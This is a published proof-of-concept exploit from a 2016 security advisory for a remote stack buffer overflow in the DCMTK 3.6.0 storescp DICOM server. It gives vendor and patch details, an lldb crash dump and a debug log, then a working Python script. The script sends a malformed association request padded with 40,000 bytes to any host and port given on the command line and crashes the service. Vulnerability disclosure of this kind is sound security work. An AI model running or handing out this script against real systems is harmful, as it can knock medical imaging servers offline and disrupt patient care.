DCMTK 3.6.0 storescp – Stack Buffer Overflow

#!/usr/bin/env python

# -*- coding: utf8 -*-

#

# DCMTK storescp DICOM storage (C-STORE) SCP Remote Stack Buffer Overflow

#

# Vendor: OFFIS e. V.

# Product web page: http://www.dcmtk.org

# Affected version: <= 3.6.0

# Not affected: DCMTK-3.6.1_20160216 - https://github.com/commontk/DCMTK/commit/1b6bb76

#

# http://www.idoimaging.com/programs?order=program.rdate&

#

# Summary: DCMTK is a collection of libraries and applications implementing large

# parts the DICOM standard. It includes software for examining, constructing and

# converting DICOM image files, handling offline media, sending and receiving images

# over a network connection, as well as demonstrative image storage and worklist

# servers. DCMTK is is written in a mixture of ANSI C and C++. It comes in complete

# source code and is made available as "open source" software.

#

# Desc: "At several places in the code a wrong length of ACSE data structures received

# over the network can cause overflows or underflows when processing those

# data structures. Related checks have been added at various places in order

# to prevent such (possible) attacks. Thanks to Kevin Basista for the report."

#

# The bug will indeed affect all DCMTK-based server applications that accept incoming

# DICOM network connections that are using the dcmtk-3.6.0 and earlier versions.

# Developers are advised to apply the patched-DCMTK-3.6.1_20160216 fix commit from

# Dec 14, 2015.

#

# ---------------------------------------------------------------------------------

#

# Process 27765 stopped

# * thread #1: tid = 0x3e4b46, 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x10380001b)

# frame #0: 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325

# storescp`parsePresentationContext:

# -> 0x1000a6f1d <+3325>: movb (%rax), %al

# 0x1000a6f1f <+3327>: movzbl %al, %eax

# 0x1000a6f22 <+3330>: cmpl $0x40, %eax

# 0x1000a6f25 <+3333>: movl %eax, -0xa74(%rbp)

# (lldb) re r

# General Purpose Registers:

# rax = 0x000000010380001b

# rbx = 0x0000000000000000

# rcx = 0x00000001002d40f0 vtable for log4cplus::spi::AppenderAttachable + 16

# rdx = 0x0000000000000010

# rdi = 0x00007fff5fbf78a0

# rsi = 0x3f7bc30000000000

# rbp = 0x00007fff5fbf7b30

# rsp = 0x00007fff5fbf7030

# r8 = 0x0000000100733918

# r9 = 0x00000000003e4b46

# r10 = 0x0000000100733920

# r11 = 0xffffffff00000000

# r12 = 0x0000000000000000

# r13 = 0x0000000000000000

# r14 = 0x0000000000000000

# r15 = 0x0000000000000000

# rip = 0x00000001000a6f1d storescp`parsePresentationContext(unsigned char, dul_presentationcontext*, unsigned char*, unsigned long*, unsigned long) + 3325

# rflags = 0x0000000000010246

# cs = 0x000000000000002b

# fs = 0x0000000000000000

# gs = 0x0000000000000000

#

# (lldb)

#

# =====

#

# ➜ bin ./storescp -d 4242

# D: $dcmtk: storescp v3.6.0 2011-01-06 $

# D:

# D: setting network receive timeout to 60 seconds

# D: PDU Type: Associate Request, PDU Length: 32881 + 6 bytes PDU header

# D: Only dumping 512 bytes.

# D: 01 00 00 00 80 71 00 01 00 00 4f 52 54 48 41 4e

# D: 43 20 20 20 20 20 20 20 20 20 54 45 53 54 53 55

# D: 49 54 45 00 00 00 00 00 00 00 00 00 00 00 00 00

# D: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

# D: 00 00 00 00 00 00 00 00 00 00 10 00 00 15 31 2e

# D: 32 2e 38 34 30 2e 31 30 30 30 38 2e 33 2e 31 2e

# D: 31 2e 31 20 00 80 00 41 42 43 44 41 42 43 44 41

# D: 42 43 44 41 42 43 44 41 42 43 44 41 42 43 44 41

# D:

# D: Parsing an A-ASSOCIATE PDU

# [1] 25553 segmentation fault ./storescp -d 4242

# ➜ bin

#

# ---------------------------------------------------------------------------------

#

# Tested on: Microsoft Windows 7 Professional SP1 (EN)

# Microsoft Windows 7 Ultimate SP1 (EN)

# MacOS X 10.12.2 Sierra

# Linux Ubuntu 14.04.5

# FreeBSD 10.3

#

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# @zeroscience

#

# Advisory ID: ZSL-2016-5384

# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5384.php

#

# 22.11.2016

#

import socket, sys

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'

'\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'

'\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'

'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

'\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'

'\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'

'\x31\x20\x00\x80\x00')

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'

'\x52\x00\x00\x00')

buffer = '\x41\x42\x43\x44' * 10000

if len(sys.argv) < 3:

print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'

print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 4242\n'

sys.exit(0)

host = sys.argv[1]

port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((host, port))

s.settimeout(251)

s.send(hello+buffer+bye)

s.close

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